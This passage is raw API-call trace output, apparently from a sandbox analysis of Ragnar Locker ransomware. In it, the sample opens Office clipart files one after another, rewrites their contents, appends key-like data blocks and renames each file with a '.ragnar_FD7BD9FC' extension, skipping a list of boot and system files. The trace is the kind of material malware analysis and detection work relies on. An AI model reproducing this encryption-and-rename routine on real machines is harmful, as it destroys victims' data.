Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf")) returned 0x20 [0089.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.444] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23204) returned 1 [0089.444] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5a9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.444] GetProcessHeap () returned 0x580000 [0089.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.444] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.446] VirtualAlloc (lpAddress=0x0, dwSize=0x5aa4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.446] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.446] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.446] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5aa4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5aa4, lpOverlapped=0x0) returned 1 [0089.447] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.447] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5aa4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.447] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5aa4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5aa4, lpOverlapped=0x0) returned 1 [0089.447] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5aa4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.448] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.448] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.448] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.448] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.448] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.448] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.448] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.448] GetProcessHeap () returned 0x580000 [0089.448] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.448] CloseHandle (hObject=0xf4) returned 1 [0089.448] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" [0089.448] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.ragnar_FD7BD9FC" [0089.448] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.449] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d320700, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d320700, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x1cf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00478_.WMF", cAlternateFileName="")) returned 1 [0089.449] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.449] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00478_.WMF" | out: lpString1="PE00478_.WMF") returned="PE00478_.WMF" [0089.449] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF") returned=".WMF" [0089.449] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.449] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="autorun.inf") returned 1 [0089.449] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="boot.ini") returned 1 [0089.449] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="bootfont.bin") returned 1 [0089.449] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="bootsect.bak") returned 1 [0089.449] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="bootmgr") returned 1 [0089.449] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="bootmgr.efi") returned 1 [0089.449] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.450] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="desktop.ini") returned 1 [0089.450] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="iconcache.db") returned 1 [0089.450] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="ntldr") returned 1 [0089.450] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="ntuser.dat") returned 1 [0089.450] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.450] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="ntuser.ini") returned 1 [0089.450] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="thumbs.db") returned -1 [0089.450] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.450] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.450] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.450] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.450] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.450] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.450] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf")) returned 0x20 [0089.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.450] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7416) returned 1 [0089.450] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1cef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.451] GetProcessHeap () returned 0x580000 [0089.451] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.451] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.452] VirtualAlloc (lpAddress=0x0, dwSize=0x1cf8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.452] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1cf8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1cf8, lpOverlapped=0x0) returned 1 [0089.453] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.453] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cf8, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.453] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1cf8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1cf8, lpOverlapped=0x0) returned 1 [0089.453] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cf8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.453] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.454] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1cf8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.454] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.454] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.454] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.454] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.454] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.454] GetProcessHeap () returned 0x580000 [0089.454] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.454] CloseHandle (hObject=0xf4) returned 1 [0089.454] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" [0089.454] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.ragnar_FD7BD9FC" [0089.454] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.455] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00485_.WMF", cAlternateFileName="")) returned 1 [0089.455] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.455] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00485_.WMF" | out: lpString1="PE00485_.WMF") returned="PE00485_.WMF" [0089.455] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF") returned=".WMF" [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="autorun.inf") returned 1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="boot.ini") returned 1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="bootfont.bin") returned 1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="bootsect.bak") returned 1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="bootmgr") returned 1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="bootmgr.efi") returned 1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="desktop.ini") returned 1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="iconcache.db") returned 1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="ntldr") returned 1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="ntuser.dat") returned 1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="ntuser.ini") returned 1 [0089.455] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="thumbs.db") returned -1 [0089.455] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.456] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.456] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.456] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.456] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.456] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.456] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf")) returned 0x20 [0089.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.456] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16676) returned 1 [0089.456] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x411b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.456] GetProcessHeap () returned 0x580000 [0089.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.456] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.459] VirtualAlloc (lpAddress=0x0, dwSize=0x4124, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.459] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.459] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.459] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4124, lpOverlapped=0x0) returned 1 [0089.460] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.460] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4124, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.460] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4124, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4124, lpOverlapped=0x0) returned 1 [0089.461] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4124, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.461] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.461] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.461] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.461] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.461] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.461] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.461] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.461] GetProcessHeap () returned 0x580000 [0089.461] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.461] CloseHandle (hObject=0xf4) returned 1 [0089.461] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" [0089.461] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.ragnar_FD7BD9FC" [0089.461] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.462] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d627000, ftCreationTime.dwHighDateTime=0x1bd98a5, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d627000, ftLastWriteTime.dwHighDateTime=0x1bd98a5, nFileSizeHigh=0x0, nFileSizeLow=0x1402c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00489_.WMF", cAlternateFileName="")) returned 1 [0089.462] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.462] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00489_.WMF" | out: lpString1="PE00489_.WMF") returned="PE00489_.WMF" [0089.462] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF") returned=".WMF" [0089.462] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.462] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="autorun.inf") returned 1 [0089.462] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="boot.ini") returned 1 [0089.462] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="bootfont.bin") returned 1 [0089.462] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="bootsect.bak") returned 1 [0089.462] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="bootmgr") returned 1 [0089.462] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="bootmgr.efi") returned 1 [0089.462] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.463] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="desktop.ini") returned 1 [0089.463] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="iconcache.db") returned 1 [0089.463] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="ntldr") returned 1 [0089.463] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="ntuser.dat") returned 1 [0089.463] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.463] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="ntuser.ini") returned 1 [0089.463] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="thumbs.db") returned -1 [0089.463] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.463] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.463] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.463] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.463] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.463] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.463] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf")) returned 0x20 [0089.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.464] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=81964) returned 1 [0089.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14023, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 